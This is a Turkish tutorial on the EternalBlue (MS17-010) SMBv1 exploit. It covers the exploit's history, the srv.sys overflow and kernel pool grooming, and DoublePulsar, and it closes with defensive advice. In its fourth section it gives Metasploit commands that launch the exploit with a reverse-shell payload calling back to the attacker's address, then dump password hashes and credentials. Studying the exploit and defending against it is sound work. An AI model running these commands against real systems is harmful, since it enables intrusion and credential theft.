

ETERNALBLUE (MS17-010) TM DETAYLAR VE TEKNİK ANALİZ

[Kaynak](#)

Blue

1. Tarihsel Arka Plan ve Yıkım Gücü (The Lore)

EternalBlue sıradan bir hacker grubunun işi değildir. Doğrudan devlet destekli bir siber silahtır.

- **Orijin:** ABD Ulusal Güvenlik Ajansı (**NSA**) içindeki elit hacker grubu olan **Equation Group** tarafından geliştirilmiş ve yıllarca istihbarat operasyonlarında gizlice kullanılmıştır.
- **Sızıntı (Nisan 2017):** Kendilerine **Shadow Brokers** diyen bir grup, NSA'in hack cephaneliğini çalıp internete sızdırdı. EternalBlue (EB) bu paketin baş tacıydı.
- **Yama Durumu (Mart 2017):** Microsoft, sızıntıdan sadece bir ay önce NSA tarafından (muhtemelen) gizlice uyarılarak **MS17-010** (KB4012598) yamasını yayınladı. Ancak dünya bu güncellemeyi ciddiye alıp uygulamadığı için felaket kaçınılmaz oldu.
- **Küresel Felaketler:**
 - **WannaCry (Mayıs 2017):** EternalBlue bir **fidyeye yazılımı (Ransomware)** ve bir **solucan (Worm)** ile birleştirildi. Ağda hiçbir kullanıcı etkileşimi olmadan (tıklama, indirme gerektirmeden) kendi kendine yayıldı. İngiltere sağlık sistemi (NHS) dahil 150 ülkede milyarlarca dolar zarar verdi.
 - **NotPetya (Haziran 2017):** Rusya destekli olduğu düşünülen bu saldırıda hedef fidye değil, "yok etmektir" (Wiper). Ukrayna'yı hedef alsa da global şirketleri (Maersk, FedEx) felç etti.

2. Zafiyetin Anatomisi: Çekirdekte (Kernel) Neler Oluyor?

İşte mülakatlarda seni öne çıkaracak asıl teknik kısım. EternalBlue, Windows'un **SMBv1 (Server Message Block v1)** protokolünü işleyen `srv.sys` sürücüsündeki üç farklı kritik hatanın mükemmel bir senkronizasyonla sömürülmesidir. Her şey **Ring 0 (Kernel Mode)** seviyesinde gerçekleşir, bu yüzden başarılıldığında doğrudan **NT AUTHORITY\SYSTEM** yetkisi verir.

Zafiyetin çalışması için gereken üç aşamalı mantık zinciri şöyledir:

Hata 1: Matematiksel Hata (Integer Underflow/Overflow)

SMBv1 protokolünde dosyaların genişletilmiş özniteliklerini (Extended Attributes - FEA) işleyen `Srv0s2FeaListSizeToNt` adında bir fonksiyon vardır. Bu fonksiyon bellekte ne kadar alan açılması gerektiğini hesaplar. Hesaplama sırasında bir **DWORD** (32-bit değişken) değeri, bir **WORD** (16-bit değişken) değerine dönüştürülerek çıkarılır. Bu yanlış tip dönüşümü (Type Casting), matematiksel bir hataya neden olur ve sistemin **gerektiğinden çok daha küçük bir bellek alanı** (buffer) tahsis etmesine yol açar.

Hata 2: Tampon Bellek Taşması (Buffer Overflow)

Alan yanlış hesaplandıktan sonra sıra veriyi kopyalamaya gelir. `Srv0s2FeaToNt` fonksiyonu, gelen devasa SMB paketini (veriyi) `memmove` işlemi ile bu küçük belleğe kopyalamaya çalışır. Doğal olarak veri bu alana sığmaz ve belleğin (RAM) bitişiğindeki diğer verilerin üzerine taşarak onları ezer (Overwrite).

Hata 3: Kernel Pool Grooming (Bellek Tımarı / Hazırlığı)

Eğer taşırdığınız verinin nereye gideceğini kontrol edemezseniz sistem mavi ekran (BSOD) verir ve çöker. EternalBlue, saldırıdan hemen önce hedef belleği (Kernel Non-Paged Pool) düzenler. Özel hazırlanmış SMB paketleri göndererek bellekte boşluklar açar ve taşıyacak olan verinin **tam olarak** `SRVNET_RECV` (**SrvNet bağlantı yapısı**) adlı kritik bir yapının üzerine denk gelmesini sağlar.

Ölümcül Vuruş (RIP Hijack): Taşma gerçekleştiğinde, `SRVNET_RECV` yapısının içindeki yönlendirme adresleri (Memory Descriptor List - MDL) saldırganın kendi zararlı kodunu (Shellcode) gösterecek şekilde değiştirilir. Bağlantı kapandığında veya paket işleme bittiğinde, işlemci (`srvnet!SrvNetWskReceiveComplete` fonksiyonu üzerinden) normal işine döneceğini sanırken doğrudan saldırganın kodunu çalıştırır.

3. Roket ve Savaş Başlığı: EternalBlue ve DoublePulsar

EternalBlue sadece hedef sistemin kapısını kıran bir roket (Delivery Mechanism) görevi görür. İçeri girdikten sonra sisteme yerleşen asıl savaş başlığı (Implant/Backdoor) **DoublePulsar**'dır.

- **DoublePulsar Nedir?** Çekirdek (Kernel) seviyesinde çalışan inanılmaz gizli bir arka kapıdır.
 - **Nasıl Çalışır?** Disk üzerine hiçbir dosya yazmaz. SMB işlem yöneticisine (Transaction handler) kanca (Hook) atar. Sisteme yerleştikten sonra saldırganın herhangi bir DLL dosyasını veya Shellcode'u ağ üzerinden gönderip **doğrudan bellekte (In-Memory)** çalıştırmasına olanak tanır.
 - Nmap'in MS17-010 tarama betiği, sistemde zafiyetin yanı sıra DoublePulsar arka kapısının halihazırda yüklü olup olmadığını da (`CHECK_DOPU`) kontrol edebilir.
-

4. Metasploit Üzerinde Pratik Akış (Sömürü ve Sonrası)

Tüm bu karmaşık Kernel işlemleri, Metasploit içinde tek bir modülle otomatikleştirilmiştir.

1. Keşif (Recon): Hedefin ping'e kapalı olabileceğini unutma (-Pn).

Bash

```
nmap -sV -vv -Pn --script smb-vuln-ms17-010 <HEDEF_IP>
```

2. Sömürü (Exploitation):

Bash

```
msfconsole
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(...) > set RHOSTS <HEDEF_IP>
msf6 exploit(...) > set LHOST <KENDI_IP_ADRESIN>
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(...) > exploit
```

Not: Exploit çalışırken Trying exploit with 12 Groom Allocations satırını göreceksin. İşte bu satır, yukarıda anlattığım "Kernel Pool Grooming" (Bellek Hazırlığı) işleminin yapıldığı andır.

3. Sömürü Sonrası (Post-Exploitation): Direkt en yüksek yetkidesin.

Bash

```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > hashdump
# Mimikatz/Kiwi yükleyerek RAM'den açık şifreleri çek:
meterpreter > load kiwi
meterpreter > creds_all
```

5. Savunma ve Tespit Mekanizmaları (Blue Team Notları)

Bir sistemi nasıl kıracağını bilmek kadar nasıl savunacağını bilmek de teknik bir yazarı/öğrenciyi elit yapar.

- 1. Temel Kural: SMBv1'i acilen kapatın.** SMBv2 veya SMBv3 kullanın. PowerShell üzerinden şu komutla kapatılır:

PowerShell

```
Set-SmbServerConfiguration -EnableSMB1Protocol $false
```

2. **Yama Yönetimi:** KB4012598 numaralı Microsoft güvenlik bülteni yamasını sisteme geçin.
3. **Ağ Sıkılaştırması:** TCP 445 (SMB) ve TCP 139 (NetBIOS) portlarını dış ağa (İnternete) kesinlikle kapatın. Kurum içinde de sadece gerekli VLAN'lar arası geçişe izin verin (Network Segmentation).
4. **Tespit (Detection):** Geleneksel Antivirüsler bu saldırıyı dosya yazılmadığı için kaçırabilir. Bellek taraması yapabilen ve SMB trafiğindeki "Büyük/Anormal boyutlu IPC\$ (Inter-Process Communication)" isteklerini analiz edebilen **EDR (Endpoint Detection and Response)** veya **IPS** cihazları şarttır.